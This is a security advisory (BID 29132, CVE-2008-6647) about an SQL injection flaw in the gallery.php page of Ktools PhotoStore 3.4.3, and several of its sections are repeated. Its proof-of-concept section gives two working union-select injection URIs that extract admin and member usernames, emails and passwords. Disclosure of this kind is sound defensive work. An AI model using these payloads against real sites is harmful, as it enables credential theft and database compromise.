Ktools PhotoStore 'gallery.php' SQL Injection Vulnerability
BID:29132
Info
Ktools PhotoStore 'gallery.php' SQL Injection Vulnerability
| Bugtraq ID: | 29132 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-6647 |
| Remote: | Yes |
| Local: | No |
| Published: | May 10 2008 12:00AM |
| Updated: | May 07 2015 05:29PM |
| Credit: | Mr.SQL |
| Vulnerable: |
ktools PhotoStore 3.4.3 |
| Not Vulnerable: | |
Discussion
Ktools PhotoStore 'gallery.php' SQL Injection Vulnerability
PhotoStore is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PhotoStore 3.4.3 is vulnerable; other versions may also be affected.
PhotoStore is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PhotoStore 3.4.3 is vulnerable; other versions may also be affected.
Exploit / POC
Ktools PhotoStore 'gallery.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following proof-of-concept URIs are available:
http://www.example.com/gallery.php?gid=-9696'+UnIoN+SelecT+1,concat(username,0x3c7c7c204d722e53514c207c7c3e,password),3,4,5,6,7,8,9,10,1,12,13+from+mgr_users/* http://www.example.com/gallery.php?gid=-9696'+union+select+1,concat(email,'::Mr.SQL::',password),3,4,5,6,7,8,9,10,1,12,13+from+members/*
Attackers can use a browser to exploit this issue.
The following proof-of-concept URIs are available:
http://www.example.com/gallery.php?gid=-9696'+UnIoN+SelecT+1,concat(username,0x3c7c7c204d722e53514c207c7c3e,password),3,4,5,6,7,8,9,10,1,12,13+from+mgr_users/* http://www.example.com/gallery.php?gid=-9696'+union+select+1,concat(email,'::Mr.SQL::',password),3,4,5,6,7,8,9,10,1,12,13+from+members/*
Solution / Fix
Ktools PhotoStore 'gallery.php' SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Ktools PhotoStore 'gallery.php' SQL Injection Vulnerability
References:
References:
- PhotoStore Homepage (Ktools)